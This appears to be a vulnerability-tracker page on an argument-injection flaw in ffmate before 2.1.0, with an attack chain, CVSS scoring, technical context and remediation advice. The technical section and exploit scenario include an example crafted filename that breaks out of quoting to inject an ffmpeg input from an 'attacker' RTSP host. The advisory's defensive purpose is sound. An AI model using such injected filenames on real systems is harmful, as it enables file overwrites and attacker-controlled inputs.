Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessWrite crafted-name file to watchfolder
-
ExploitBreak out of filename quoting
-
ExecutionInject extra ffmpeg/script arguments
-
ImpactAdd network input or overwrite ffmate-writable file
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Argument sanitization
|
| Exploitation Conditions | Requires that ffmate (before 2.1.0) is deployed with its watchfolder feature in use and that the attacker can create files within that monitored folder - directly, via an upload path, or through a shared/network-mounted directory. The precondition is a crafted file NAME that escapes the double-quote wrapping the old wildcardReplacer applied to ${INPUT_FILE}/${OUTPUT_FILE} wildcards, so the trigger is specifically filename-based argument injection into the ffmpeg or script command line. LIMITING FACTORS: no exploitation is possible without write access to a watched folder (PR:L), and the CVSS AC:H/AT:P reflect that a specific quoting-breakout condition must be met rather than a universally reliable trigger; impact is bounded to what ffmpeg arguments can achieve under ffmate's own privileges (adding network inputs/outputs, overwriting files ffmate can write) rather than arbitrary code execution. No user interaction by an operator is required (UI:N). |
| Impact | This is a genuine but moderate-priority issue, not a drop-everything emergency. The CVSS 4.0 base score is 6.0 (MEDIUM) with AV:N/AC:H/AT:P/PR:L/UI:N, meaning exploitation requires low privileges (the ability to place files into a monitored watchfolder), carries high attack complexity, and depends on an attack requirement (AT:P) - the attacker needs a specific condition (quoting breakout via crafted filenames) rather than a trivial always-works path. Impact is skewed toward integrity (VI:H) with limited confidentiality (VC:L) and no availability impact (VA:N), consistent with a description centered on overwriting ffmate-writable files and adding attacker-controlled network inputs/outputs rather than full RCE or system compromise. The vuln.today decision label is 'this_month' (not act_now/emergency), which aligns with the signals: it is NOT listed in CISA KEV, no EPSS exploitation-probability score was provided, and no working public exploit was identified - only vendor patch commits and a VulnCheck advisory. There is therefore no evidence of active or widespread exploitation; the realistic threat is a motivated actor who already has write access to a watchfolder. MISSING DATA: EPSS score is absent from the input, so quantitative exploitation probability cannot be stated; KEV status is absent (treated as not listed). The net picture is a credible argument-injection flaw worth patching on a normal cycle, bounded by the low-privilege-but-non-trivial precondition of watchfolder write access. |
| Exploit ScenarioDerived | An attacker who can drop files into a directory ffmate watches creates a file whose name is crafted to break out of the double-quote wrapping that the vulnerable wildcardReplacer applied (e.g. a name containing a quote followed by extra ffmpeg flags). When ffmate builds and runs the ffmpeg (or script) command line, the injected tokens become real arguments, letting the attacker add a network input such as -i rtsp://attacker/... or redirect output to overwrite a file ffmate can write. No working public exploit was identified; the fix (PR #43) adds single-quote escaping and injection regression tests, which indirectly documents the technique. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 24, 2026
Argument injection in ffmate (welovemedia/ffmate) before 2.1.0 lets an attacker who can place files in a monitored watchfolder craft a file name that breaks out of the double-quote wrapping the wildcardReplacer applied to ${INPUT_FILE}/${OUTPUT_FILE}, injecting extra ffmpeg or pre/post-processing script arguments. The injected tokens can add network inputs such as an RTSP source or redirect output paths to overwrite files writable by the ffmate process; the impact is bounded to what ffmpeg arguments can achieve under ffmate's own privileges rather than arbitrary code execution. Exploitation requires write access to a watched folder (PR:L) and a specific quoting-breakout condition (AC:H/AT:P), no public exploit code has been identified at time of analysis, and version 2.1.0 contains the vendor fix.
RemediationAI
Upgrade to ffmate 2.1.0, which is the vendor-released fix for this issue; the change is in pull request https://github.com/welovemedia/ffmate/pull/43, commit 37dcd92507d154b4a83d516c87e68796abe2a747, and the upstream tests confirm the new single-quote based quoteArg prevents injected tokens from appearing in the parsed argv. Where immediate upgrade is not possible, the exploit precondition is write access to a watched folder, so restrict who and what can create files there (owner-only permissions on the watchfolder, no untrusted upload endpoints or anonymous SMB/NFS mounts feeding it) and reject file names containing quote characters before they reach ffmate; both measures reduce but do not eliminate the exposure of the unquoted wildcardReplacer. Running ffmate with the least privileges it can operate under limits the file-overwrite impact, and restricting outbound network access from the ffmate host reduces the usefulness of injected network inputs such as rtsp:// sources, at the cost of breaking legitimate remote-input workflows.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
ffmate is a Go wrapper around ffmpeg that expands wildcard placeholders in a user-supplied command template and script paths. In versions up to 2.0.18, internal/service/task/wildcard.go substituted ${INPUT_FILE} and ${OUTPUT_FILE} via fmt.Sprintf("\"%s\"", value), i.e. it wrapped the raw file name in double quotes and then handed the resulting command line to github.com/mattn/go-shellwords for tokenization before invoking ffmpeg. Because only double quotes were used and no escaping of embedded quote characters was performed, a file name containing a double quote could terminate the quoted span and introduce further argv tokens (CWE-88, argument injection) - for example a name shaped like in.mp4" -i rtsp://attacker/collect -loglevel "quiet, which the parser splits into additional -i/-loglevel arguments. The 2.1.0 fix splits the two responsibilities: a new quoteArg helper wraps values for command-line use with single quotes and renders embedded apostrophes as '"'"', while wildcardReplacer now returns a plain, unquoted value for file-path wildcards that are consumed directly by os.MkdirAll/os.WriteFile and the API. The upstream tests demonstrate that single-quoting parses identically under go-shellwords and under the Windows-safe shellwordsUnicodeSafe parser, preserving spaces, parentheses, backslashes in Windows paths and embedded apostrophes.
Know when Ffmate gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N
Attacker needs watchfolder write access (PR:L) and a non-trivial quoting breakout (AC:H); impact is integrity-dominant (I:H) via file overwrite with limited confidentiality (C:L) and stays within ffmate's privilege (S:U).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
ffmate before 2.1.0 contains an argument injection vulnerability in wildcardReplacer that allows attackers to inject ffmpeg or script arguments via crafted file names. Attackers who can create files in a watchfolder can break out of quoting to add network inputs or output paths that overwrite files writable by ffmate.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
EUVD-2026-133908
GHSA-j3qq-5mg8-j8c4
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB